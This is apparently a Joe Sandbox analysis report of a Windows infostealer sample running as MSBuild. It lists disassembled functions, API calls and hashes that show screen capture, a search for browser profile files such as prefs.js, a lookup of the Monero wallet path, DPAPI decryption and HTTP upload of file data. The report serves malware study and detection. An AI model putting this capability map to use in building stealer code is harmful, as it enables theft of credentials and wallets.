DeleteFileA.KERNEL32(00000000), ref: 0041655B

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

FindNextFileA.KERNEL32(00000000,?), ref: 004165AA
FindClose.KERNEL32(00000000), ref: 004165B9

Strings

%s\%s, xrefs: 00416382
%s\%s, xrefs: 00416340
%s\*, xrefs: 004162CE

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcat$H_prologwsprintf$Find$CloseCreatelstrcpy$AllocCopyDeleteFirstHandleLocalMatchNextObjectPathReadSingleSizeSpecThreadWait
String ID: %s\%s$%s\%s$%s\*
API String ID: 3378981913-445461498
Opcode ID: f1e2c898751335988b89725b49f2b994cd233f31897e165e0f6e33926c86069b
Instruction ID: 44fee943ad19fbeb295e67141fcee366af0812e97ca0ac8f0a151d0c2a205fa7
Opcode Fuzzy Hash: f1e2c898751335988b89725b49f2b994cd233f31897e165e0f6e33926c86069b
Instruction Fuzzy Hash: 97918C71900259ABDF10EBE4DD4ABDEBBBDAF09304F4040BAF505A3191DB389B48CB65

Function 004112FD Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411302
memset.MSVCRT ref: 00411328
GetDesktopWindow.USER32 ref: 0041135E
GetWindowRect.USER32(00000000,?), ref: 0041136B
GetDC.USER32(00000000), ref: 00411372
CreateCompatibleDC.GDI32(00000000), ref: 0041137C
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0041138D
SelectObject.GDI32(00000000,00000000), ref: 00411398
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 004113B4
GlobalFix.KERNEL32(?), ref: 00411412
GlobalSize.KERNEL32(?), ref: 0041141E

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004043AD: _EH_prolog.MSVCRT ref: 004043B2
Part of subcall function 004043AD: lstrlenA.KERNEL32(00000000), ref: 00404421
Part of subcall function 004043AD: StrCmpCA.SHLWAPI(?,00425987,00425983,0042597B,00425977,00425976), ref: 004044A4
Part of subcall function 004043AD: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004044C4

SelectObject.GDI32(00000000,?), ref: 00411498
DeleteObject.GDI32(?), ref: 004114B3
DeleteObject.GDI32(00000000), ref: 004114BA
ReleaseDC.USER32(00000000,?), ref: 004114C4
CloseWindow.USER32(00000000), ref: 004114CB

Strings

image/jpeg, xrefs: 004113D4

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Object$Window$CompatibleCreateDeleteGlobalH_prologSelectlstrcpy$BitmapCloseDesktopInternetOpenRectReleaseSizelstrlenmemset
String ID: image/jpeg
API String ID: 3067874393-3785015651
Opcode ID: 3bdf46d3e9d7c0e78ba7912a53a363b2d7867d1b528b743ce995cd4dcfebb4b6
Instruction ID: b777bc6b67979350ab37bc7b6ce454515ef26c15ee534ccd721ea0ab8c47e668
Opcode Fuzzy Hash: 3bdf46d3e9d7c0e78ba7912a53a363b2d7867d1b528b743ce995cd4dcfebb4b6
Instruction Fuzzy Hash: 385118B2D00218AFDF01AFE5DD499EEBFB9FF09714F10402AFA05E2160D7394A558BA5

Function 00401162 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 771fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401167

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00422374,?,?,?,00422370,?,?,00000000,?,00000000), ref: 004013AC
StrCmpCA.SHLWAPI(?,00422378), ref: 004013CA
StrCmpCA.SHLWAPI(?,0042237C), ref: 004013E4
FindFirstFileA.KERNEL32(00000000,?,?,?,?,00422388,?,?,?,00422384,?,?,?,00422380,?,?), ref: 00401510

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0042238C), ref: 004017EE
FindNextFileA.KERNEL32(00000000,?,?,?,?,?,?,0042238C), ref: 00401832
FindClose.KERNEL32(00000000,?,?,?,?,?,0042238C), ref: 00401841
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401767

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401AFE

Part of subcall function 0040618B: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406216

DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00422366), ref: 00401B85

Part of subcall function 00414437: Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 004144C0

FindNextFileA.KERNEL32(?,?), ref: 00401BD4
FindClose.KERNEL32(?), ref: 00401BE5

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425BF6,?,?), ref: 00410CF6

Strings

7, xrefs: 00401BA9
\*.*, xrefs: 004012AF

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$H_prolog$Find$lstrcpy$Close$CopyCreateDeleteFirstLocalNextlstrcat$AllocAttributesFolderFreeHandleObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: 7$\*.*
API String ID: 1164748634-4165053604
Opcode ID: 2415c5a552409a1327100fa76e5c65bacbb48c19f6e4dd66bfc40bef1be4ee54
Instruction ID: 8097af2253b6e43ffd1ff437b79a581fef85e219c3474a36129b1183f2ad689d
Opcode Fuzzy Hash: 2415c5a552409a1327100fa76e5c65bacbb48c19f6e4dd66bfc40bef1be4ee54
Instruction Fuzzy Hash: 04624D70904188EADB15EBE5C955BDDBBB8AF29308F5040BEA509735C2DF781B4CCB25

Function 0040B463 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 311fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B468

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00000000,?,00425F10,?,?,00425BEF,?,00000000,?), ref: 0040B4E7
StrCmpCA.SHLWAPI(?,00425F14,?,00000000,?), ref: 0040B50B
StrCmpCA.SHLWAPI(?,00425F18,?,00000000,?), ref: 0040B525
StrCmpCA.SHLWAPI(?,prefs.js,00000000,?,?,?,00425F1C,?,?,00425BF2,?,00000000,?), ref: 0040B5C1

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040B6C6
DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040B79B
FindNextFileA.KERNELBASE(?,?,?,00000000,?), ref: 0040B84A
FindClose.KERNEL32(?,?,00000000,?), ref: 0040B85B

Strings

prefs.js, xrefs: 0040B5B5

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileH_prologlstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 2318033617-3783873740
Opcode ID: 5d5855e90322f171bdcc3e902ad36419314a4be2ab95842e86b6b9ed6f14b737
Instruction ID: ee987ab292ce5c8f0602a9b5561e4dc2d57f8a603593be12f89c118a2121006c
Opcode Fuzzy Hash: 5d5855e90322f171bdcc3e902ad36419314a4be2ab95842e86b6b9ed6f14b737
Instruction Fuzzy Hash: D5D18471900248EADB14EBE5C956BDDBBB4AF19304F5040BEE409B36C2DB785B4CCB66

Function 004094E5 Relevance: 15.3, APIs: 10, Instructions: 301fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004094EA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00000000,?,00425DC4,?,?,00425BA2,?), ref: 00409567
StrCmpCA.SHLWAPI(?,00425DC8), ref: 00409584
StrCmpCA.SHLWAPI(?,00425DCC), ref: 0040959E
StrCmpCA.SHLWAPI(?,00000000,?,?,?,00425DD0,?,?,00425BA3), ref: 00409635
StrCmpCA.SHLWAPI(?), ref: 004096B6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00408759: _EH_prolog.MSVCRT ref: 0040875E
Part of subcall function 00408759: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00408841

FindNextFileA.KERNELBASE(00000000,?), ref: 0040989F
FindClose.KERNEL32(00000000), ref: 004098AE

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 322284088-0
Opcode ID: c7d6cc988ba782d8cbd6a4dc9e280d496fe71cb906df9d5859f326619e4a8ed7
Instruction ID: 4c01649d4d81a67c5449674785cae23a0a495e6994ebb05e8901edf346d892d0
Opcode Fuzzy Hash: c7d6cc988ba782d8cbd6a4dc9e280d496fe71cb906df9d5859f326619e4a8ed7
Instruction Fuzzy Hash: 23C17270900249EADF10EBA5C9167DDBFB8AF09304F10417EE844B36C2DB785B08CBA6

Function 004111BE Relevance: 9.0, APIs: 6, Instructions: 45processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004111C3
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004111E9
Process32First.KERNEL32(00000000,00000128), ref: 004111F9
Process32Next.KERNEL32(00000000,00000128), ref: 0041120B
StrCmpCA.SHLWAPI(?,?,?,?,00000000), ref: 0041121F
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00411232

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32
String ID:
API String ID: 186290926-0
Opcode ID: a9f169bdbb2cdc4e9d02c35b7c1d11867838652ed038367759a7d765107c7668
Instruction ID: 368edb313bfa2f31f76f5ba6fbd020b911e3fe3703e22c74ac1c99050383bae8
Opcode Fuzzy Hash: a9f169bdbb2cdc4e9d02c35b7c1d11867838652ed038367759a7d765107c7668
Instruction Fuzzy Hash: 56015A71900028AFDB119F95DD48ADEBBB9EF86300F204096F505F2220D7788F84CFA5

Function 00401000 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
HeapAlloc.KERNEL32(00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
RegOpenKeyExA.KERNEL32(000000FF,00000000,00000000,00020119,?,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D
RegCloseKey.ADVAPI32(?,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401056

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: a27f42a190018756939c2a186fac89ee64236d1eb1bb3ceecf19bf94991bf119
Instruction ID: 832c21bd40a73018163515ce5beef45c93da2aa0da3d8997035a91abaf75a422
Opcode Fuzzy Hash: a27f42a190018756939c2a186fac89ee64236d1eb1bb3ceecf19bf94991bf119
Instruction Fuzzy Hash: E2F03A79240208FFEB119F91DC0AFAE7B7AEB45B40F104025FB01AA1A0D7B19A109B24

Function 004062A5 Relevance: 4.5, APIs: 3, Instructions: 46memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004062C8
LocalAlloc.KERNEL32(00000040,?,?), ref: 004062E0
LocalFree.KERNEL32(?), ref: 004062FE

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: a1298b6901399f3ed61b1a780a28c5a3d32356ff32a82b06ef3c757afecfb89f
Instruction ID: e950b9794f619c2f14945d92c2c82b9cfbc0e84929ee7baf067997c9d55b3a17
Opcode Fuzzy Hash: a1298b6901399f3ed61b1a780a28c5a3d32356ff32a82b06ef3c757afecfb89f
Instruction Fuzzy Hash: 38011D7A900218AFDB01EFE8DC849DEBBBDFF48700B10046AFA42E7250D6759950CB50

Function 004043AD Relevance: 74.3, APIs: 26, Strings: 16, Instructions: 764
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004043B2

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

lstrlenA.KERNEL32(00000000), ref: 00404421

Part of subcall function 00410DAC: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 00410DD0
Part of subcall function 00410DAC: GetProcessHeap.KERNEL32(00000000,?,?,00404415,?,?,?,?,?,?), ref: 00410DDD
Part of subcall function 00410DAC: HeapAlloc.KERNEL32(00000000,?,00404415,?,?,?,?,?,?), ref: 00410DE4

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

StrCmpCA.SHLWAPI(?,00425987,00425983,0042597B,00425977,00425976), ref: 004044A4
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004044C4
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004045E9
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00404623
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404647

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,file_data,00000000,?,00000000,?,00425A40,00000000,?,?,00000000), ref: 00404B42
lstrlenA.KERNEL32(00000000), ref: 00404B54
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00404B66
HeapAlloc.KERNEL32(00000000), ref: 00404B6D
lstrlenA.KERNEL32(00000000), ref: 00404B7F
memcpy.MSVCRT ref: 00404B92
lstrlenA.KERNEL32(00000000,?,?), ref: 00404BA9
memcpy.MSVCRT ref: 00404BB3
lstrlenA.KERNEL32(00000000), ref: 00404BC4
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404BDD
memcpy.MSVCRT ref: 00404BEA
